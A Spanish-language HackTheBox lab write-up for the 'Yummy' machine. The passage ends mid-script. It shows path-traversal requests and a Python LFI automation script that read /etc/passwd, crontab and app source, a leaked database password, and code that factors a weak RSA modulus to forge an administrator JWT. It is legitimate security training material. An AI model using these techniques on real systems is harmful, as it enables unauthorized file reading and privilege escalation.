Yummy – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Hard / Difícil
- Platform / Plataforma: HackTheBox
Sinopsis Link to heading
“Yummy” es una máquina de dificultad Difícil de la plataforma HackTheBox
. Esta máquina enseña cómo una vulnerabilidad Local File Inclusion
desde una página web nos permite leer archivos sensibles del sistema, filtrando componentes que nos permiten forjar un Jason Web Token
con privilegios. Adicionalmente, somos capaces de explotar una vulnerabilidad SQL Injection
la cual nos permite escribir archivos en el sistema y que éstos sean ejecutados por “cronjobs” previamente programados. Finalmente, esta máquina también enseña cómo ejecutar comandos en los aplicativos Mercurial
y RSync
; y cómo éstos pueden ser usados para escalar privilegios en sistemas Linux
.
User / Usuario Link to heading
Un escaneo con Nmap
muestra sólo 2 puertos abiertos: 22
SSH
y 80
HTTP
:
❯ sudo nmap -sVC -p22,80 10.10.11.36
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 23:37 -03
Nmap scan report for 10.10.11.36
Host is up (0.48s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.86 seconds
Del escaneo podemos ver un dominio: yummy.htb
. Agregamos este dominio a nuestro archivo /etc/hosts
ejecutando en una terminal:
❯ echo '10.10.11.36 yummy.htb' | sudo tee -a /etc/hosts
Usando WhatWeb
sobre el sitio web nos permite obtener un mail de contacto info@yummt.htb
y que éste se encuentra corriendo usando Caddy
:
❯ whatweb -a 3 http://yummy.htb
http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.10.11.36], Lightbox, Script, Title[Yummy]
Buscando sobre Caddy
llegamos a su página web oficial (la cual también es open source):
Caddy
is a powerful, extensible platform to serve your sites, services, and apps, written in Go
.Visitando http://yummy.htb
muestra la página de un restaurante:
En la barra de arriba podemos ver las opciones de Register
y Login
. Nos creamos una cuenta y nos logueamos. Hecho esto, el sitio ahora nos muestra una opción extra acerca de reservaciones:
Clickeando en Book a table
en la parte superior derecha del sitio nos redirige a un formulario para agendar una reserva:
Si creamos una simple reservación ahora ésta es mostrada en la página principal de nuestro usuario:
Clickeando en Cancel reservation
borra la reserva y clickeando en Save ICalendar
genera un archivo. Descargamos este archivo y lo inspeccionamos:
❯ file Yummy_reservation_20241101_030237.ics
Yummy_reservation_20241101_030237.ics: iCalendar calendar file
Es un archivo de iCalendar
.
Podemos visualizar este archivo en una página en línea como Online iCalendar viewer y subir el archivo. Tristemente, éste archivo no da mucha información:
Abrimos Burpsuite
e interceptamos la petición enviada al clickear en el botón Save iCalendar
. Obtenemos así la petición:
GET /reminder/22 HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyREzQ.RctjGk1UAFWqI_V76AoK7I2C95s
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Está soliticando un archivo utilizando un Jason Web Token
(o JWT
).
Inspeccionando este JWT
en https://jwt.io/ muestra:
Pero no tenemos mucha información para poder manipular este token de momento.
De vuelta a petición que obtuvimos en Burpsuite
cuando clickeamos en Save iCalendar
, hacemos click derecho en ésta y seleccionamos la opción Do Intercept > Response
(y asegurarnos de que sea enviada por HTTP
en lugar de HTTPs
). Eventualmente, obtenemos así la respuesta:
GET /export/Yummy_reservation_20241101_031837.ics HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Enviamos así una petición a la ruta /export/../../../../../../../../../../etc/passwd
, de manera que la petición es ahora:
GET /export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Al realizar esto nuestro navegador de internet descarga automáticamente un archivo llamado passwd
. Revisando el contenido de este archivo muestra:
❯ cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
Este parece ser el archivo /etc/passwd
de la máquina víctima; hemos logrado un Local File Inclusion
(o LFI
).
Tenemos así 3 usuarios: root
, dev
and qa
:
❯ cat passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash
Para automatizar la lectura de archivos es que creamos un script de Python
abusando del Local File Inclusion
:
from datetime import datetime
from urllib.parse import urlencode, quote
import sys
import requests
import argparse
import random
import string
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}
def parse_arguments():
"""
Get user flags
"""
parser = argparse.ArgumentParser(description="Automation for 'Local File Inclusion' in HTB Yummy machine.")
parser.add_argument("-e", "--email", required=True, type=str, help="Email to register for authentication in 'HTB Yummy' webpage.")
parser.add_argument("-u", "--username", required=True, type=str, help="Username to make the reservation in 'HTB Yummy' page.")
parser.add_argument("-p", "--password", required=True, type=str, help="Password for authentication in 'HTB Yummy' webpage.")
parser.add_argument("-f", "--local-file", required=True, type=str, help="File to read through Local File Inclusion vulnerability. Must be an absolute path. Example: /etc/passwd")
parser.add_argument("--create-account", action="store_true", help="Create an account in 'HTB Yummy' webpage if it has not been already created.")
return parser.parse_args()
def create_account(args: argparse.Namespace)->None:
"""
Create an account in 'HTB Yummy' webpage (if it has not already been created)
"""
if not '@' in args.email:
print("[-] Not a valid email. Try, for example: user@domain.com")
sys.exit(1)
register_url = 'http://yummy.htb/register'
json_data = {"email": args.email, "password": args.password}
create_account_request = requests.post(url=register_url, headers=headers, json=json_data)
if 'Invalid' in create_account_request.text:
print("[-] Username already exists.")
sys.exit(1)
print(f"[+] Account created with email {args.email!r} and password {args.password!r}")
return
def get_encoded_time()->str:
"""
Get encoded current time in minutes
"""
current_time = datetime.now().strftime("%H:%M")
return str(urlencode({"time": current_time}).split('=')[1])
def create_booking(args: argparse.Namespace)->None:
booking_url = 'http://yummy.htb/book'
today_date = datetime.today().strftime('%Y-%m-%d')
length_booking: int = 6
booking_name: str = f"Booking ID {''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length_booking))}"
data={'name': args.username,'email': args.email,'phone':'9999999999','date': today_date,'time':get_encoded_time(),'people':'1','message': booking_name}
request_booking = requests.post(url=booking_url, headers=headers, data=data)
if request_booking.status_code != 200:
print(f"[-] Bad status code: {request_booking.status_code!r}")
sys.exit(1)
print(f"[+] Booking created as {booking_name!r}")
return
def read_file_LFI(args: argparse.Namespace) -> None:
"""
Execute LFI
"""
# Get session
login_url: str = 'http://yummy.htb/login'
session = requests.Session()
json_data = {"email": args.email, "password": args.password}
_ = session.post(url=login_url, headers=headers, json=json_data)
# Set payloads. Use 'safe' to urlencode '/'
file_to_read: str = quote('../../../../../../../../../..' + args.local_file, safe='')
lfi_url: str = 'http://yummy.htb/export/' + file_to_read
# Get into dashboard
dashboard_url: str = 'http://yummy.htb/dashboard'
_ =session.get(url=dashboard_url, headers=headers)
# Visit reminder page, as shown bu Burp
reminder_url = 'http://yummy.htb/reminder/21'
_ = session.get(url=reminder_url, headers=headers, allow_redirects=False)
# Execute LFI
print(f"[+] Making http request to {lfi_url!r}")
lfi_req = session.get(url=lfi_url, headers=headers, allow_redirects=False)
print(f'[+] Output obtained:\n\n' + lfi_req.text)
def main()->None:
# Get user arguments
args: argparse.Namespace = parse_arguments()
# If a user has not already been created (and if requested), create a user
if args.create_account:
create_account(args)
# Create a random booking
create_booking(args)
# Execute LFI
read_file_LFI(args)
if __name__ == "__main__":
main()
Y lo ejecutamos:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd'
[+] Booking created as 'Booking ID KMgA4h'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
[+] Output obtained:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
<SNIP>
El script funciona.
Alrededor de cada ~10 minutos nuestra cuenta de usuario que habíamos creado es borrada. Si esto sucede, cuando ejecutamos el payload mostrado anteriormente, deberíamos obtener de respuesta un mensaje de Redirecting
a la página principal. Si esto llega a suceder necesitamos crear nuestro un usuario nuevamente en la página web. Para este propósito podemos utilizar la opción/flag --create-account
en el script para crear un nuevo usuario automáticamente; ejecutando, por ejemplo:
❯ python3 exploit.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd' --create-account
Revisamos si los usuarios dev
o qa
tienene keys de SSH
expuestas, pero no tenemos éxito.
Luego de probar con algunas rutas de esta lista una de las primeras funciona:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/crontab'
[+] Booking created as 'Booking ID T9ZLgf'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fcrontab'
[+] Output obtained:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
Somos capaces de encontrar información util en el archivo /etc/crontab
. Tenemos 3 scripts corriendo: app_backup.sh
, table_cleanup.sh
y dbmonitor.sh
. Todos ellos ubicados en el directorio /data/scripts
.
Dado que el script /data/scripts/app_backup.sh
está siendo ejecutado por www-data
, asumo que deberíamos ser capaces de leer este archivo. Leyendo este archivo muestra:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/app_backup.sh'
[+] Booking created as 'Booking ID e2Zgbp'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fscripts%2Fapp_backup.sh'
[+] Output obtained:
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
Este script está realizando una copia del directorio /opt/app
y lo guarda en el archivo comprimido /var/www/backupapp.zip
. Si tratamos de leer este archivo, éste es demasiado grande para ser leído, incluso si intentamos pasar su contenido a base64
. Dado que existe un directorio /opt/app
, usualmente deberíamos de tener un aplicativo app.py
dentro de este directorio (usualmente para servidores web usando Flask
). Afortunadamente, leer este archivo funciona:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/opt/app/app.py'
[+] Booking created as 'Booking ID 7QP4D4'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fapp%2Fapp.py'
[+] Output obtained:
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
<SNIP>
Tal como pensábamos, es un archivo corriendo Flask
.
Luego de leer el script, aquí hay algunas partes importantes:
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
Esta contraseña no funciona para el usuario dev
o qa
a través de SSH
.
También podemos ver las funciones:
def validate_login():
try:
(email, current_role), status_code = verify_token()
if email and status_code == 200 and current_role == "administrator":
return current_role
elif email and status_code == 200:
return email
else:
raise Exception("Invalid token")
except Exception as e:
return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
validation = validate_login()
if validation is None:
return redirect(url_for('login'))
elif validation == "administrator":
return redirect(url_for('admindashboard'))
connection = pymysql.connect(**db_config)
try:
with connection.cursor() as cursor:
sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
cursor.execute(sql, (validation,))
connection.commit()
appointments = cursor.fetchall()
appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
finally:
connection.close()
Básicamente, si somos el usuario administrator
la página debería de redirigirnos a la ruta admindashboard
.
Además, podemos ver una parte donde se forjan los JWTs
:
with connection.cursor() as cursor:
sql = "SELECT * FROM users WHERE email=%s AND password=%s"
cursor.execute(sql, (email, password2))
user = cursor.fetchone()
if user:
payload = {
'email': email,
'role': user['role_id'],
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
}
access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
response = make_response(jsonify(access_token=access_token), 200)
response.set_cookie('X-AUTH-Token', access_token)
return response
else:
return jsonify(message="Invalid email or password"), 401
Está usando una librería llamada signature
. Viendo las primeras líneas del script muestra de dónde está siendo importada esta librería:
from config import signature
Parece ser una librería custom para este script.
Por ende, intentamos leer /opt/app/config/signature.py
y obtenemos el script:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
Para ver la signature
(firma) generada copio el código en mi máquina de atacante, pero lo mosifico levemente para además ver el token generado. Adicionalmente, necesitamos crear un entorno virtual e instalar en él todas las dependencias necesarias. Primero lo primero, creamos el entorno virtual e instalamos en él todas las librerías que se necesitan para forjar un JWT
(y algunas otras que puede que necesitemos después):
❯ python3 -m venv .venv_signature
❯ source .venv_signature/bin/activate
❯ pip3 install PyJWT cryptography sympy pycryptodome requests
Podemos saber si las librerías han sido instaladas correctamente simplemente copiando signature.py
en nuestra máquina de atacantes y ejecutarlo. Si no vemos errores ello quiere decir que estamos bien para continuar.
We will then copy signature.py
into a new file named modified_signature.py
and create a new JWT
token based on the structure provided by https://jwt.io/ when we passed our user token. Therefore, modified_signature.py
script looks like:
Copiamos entonces signature.py
en un nuevo archivo llamado modified_signature.py
y creamos un nuevo JWT
basados en la estructura dada por el token extraído al analizarlo en https://jwt.io/. Ergo, el script modified_signature.py
se ve como:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# Added payload, forge JWT token based on our user token
payload ={
'email':'gunzf0x@gunzf0x.htb', # email really does not matter, since 'app.py' will just validate the role
'role':'administrator', # set 'administrator' role, as found in 'app.py'
'iat':int(datetime.now(timezone.utc).timestamp()),
'exp':int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp()),
'jwk':{ # add items in JWT
'kty':'RSA',
'n': key_data['n'],
'e': key_data['e']
}
}
# Create the token
jwt_token = jwt.encode(payload, private_key, algorithm='RS256')
# Print the generated token
print(f"[+] Generated JWT token:\n\n{jwt_token}")
Ejecutar este script aparentemente funciona:
❯ python3 modified_signature.py
[+] Generated JWT token:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTczMDQ0MDg2NywiZXhwIjoxNzQzNTgwODY3LCJqd2siOnsia3R5IjoiUlNBIiwibiI6MTA4NzIyODQ1ODQ3OTUzMzQ0MzM0MzEwMjM1MDczOTc2MTYzMTU2NjQ1NDk2NTU4NDYzNjE2OTY2Mzk1MDc4NTEzNTk0NDMyOTgzNjg4OTM1ODA0MTMyOTA5MDkyNTAzOTczODc1MzYzMjgyMzY1MDQyMTkzNDQxMDM3MTAyNjMyODU0OTEzNjI4NjIzMjUxMDE0ODg4ODQ4MDE1MzMxNzExNjEzODAzNTY4NTY4MzgxODY4MDQ0NTQ3MDUwNTE5MTY3MjAzMzIxNDY2NTE3NTU5MTk5MTQ1NTgwMDA2NTE2NjIyMjI4NTc2NjY5NTE5ODAyMTE3MDUwMjM4NTM0MTU0MDQ1MzY1Mjc2NTM1NjcwNjY5MDMxMjk1NjMyNTMxNzEyNTg0ODE3NDMwNDYxMjE5MjQ3ODY1ODA5LCJlIjo2NTUzN319.BMquF3lVzvcOHUaiUG-hX-B66gJpPgRGTksX8JWSn3F1aIurTNSd-kUF4uwvOzIMd9DJJgOMB0USkdzgsb2nJDbGn0GWFAnZ9Pu2fWQ8qsNwdYjSO0_xBz99sjkzGBlWBsaIxiH9c6BUCKRzIpmNlCcg0vRbUO7MScAocV7pvNa32eg
Copiamos este token, vamos a http://yummt.htb
y pasamos este nuevo JWT
:
No obstante, al poner este token en la página web éste no funciona. ¿Por qué? Luego de un tiempo me doy cuenta que la “clave privada” (private key) es generada en mi servidor (máquina de atacante), mientras que la key generada en el servidor es generada, como no puede ser de otra manera, en el mismo servidor.
Es así como tenemos un problema: este JWT
está usando el algoritmo RSA
(un algoritmo asimétrico); no HS256
(un algoritmo simétrico) que es el que usualmente encontramos para JWTs
. Necesitamos el número criptográfico n
; y el par único p
y q
el cual le correponden a éste. Podemos encontrar este n
usando el token original generado para nuestra usuario en la página web cuando nos creamos éste. De manera que reordenamos nuestro código para generar un token y extraer los números criptográficos necesarios para nuestro token. No explicaré en detalle toda la teoría detrás del algoritmo RSA
, pero para el lector que lo desee puede encontrar más información aquí. Necesitamos así generar un nuevo JWT
basado en uno generado originalmente por el servidor y modificarlo. El plan a seguir es simple:
- Crear una nueva cuenta (de manera que el token generado no expire pronto) y extraer su
JWT
desde nuestro navegador de internet. - Usamos este nuevo token para extraer los números criptográficos necesarios.
- Modificamos este token y creamos uno nuevo, pero cambiándole el rol a
administrator
. - Usar el nuevo token para acceder a la ruta
/admindashboard
.
Para esto creamos un nuevo script en Python
el cual acepta esta vez como argumento el JWT
generado originalmente por la página web:
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
import requests
import argparse
import sys
import json
def parse_arguments():
"""
Get user flags
"""
parser = argparse.ArgumentParser(description="Creates a JWT for 'HTB Yummy' machine.")
parser.add_argument("-t", "--token", required=True, type=str, help="Jason Web Token extracted from 'HTB Yummy'.")
parser.add_argument("--check-cookie", action="store_true", help="Check if generated cookie works.")
return parser.parse_args()
def get_numbers_from_original_token(token):
# Decode the JWT token
try:
# Decode without verifying the signature (just for extracting values)
headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
# Print the headers and payload
print(70*"=")
print(25*' ' + "Original JWT Info")
print(70*"=")
print("Header:")
print(json.dumps(headers, indent=2))
print("\nPayload:")
print(json.dumps(payload, indent=2))
# Extract the "n" and "e" value from JWT (if available)
jwk = payload.get('jwk')
if jwk:
return int(jwk.get('n')), int(jwk.get('e'))
else:
print("[-] 'n' not found in token.")
sys.exit(1)
except jwt.ExpiredSignatureError:
print("[-] The token has expired.")
except jwt.InvalidTokenError:
print("[-] Invalid token.")
sys.exit(1)
def get_numbers(token, n, e):
factors = sympy.factorint(n)
for factor, exponent in factors.items():
# Find numbers
print(f"[+] Factor: {factor}, exponent: {exponent}")
p, q = 0, 0
if len(factors) == 2:
p, q = factors.keys()
print(f"[+] Found numbers: p = {p}, q = {q}")
phi_n = (p -1)*(q -1)
d = pow(e,-1, phi_n)
key_data ={'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
# Generate the key new with the numbers
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
# Modify original token data
original_token_data = jwt.decode(token, public_key, algorithms=["RS256"])
original_token_data["role"]="administrator"
original_token_data["exp"]=int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp())
# Forge the new token
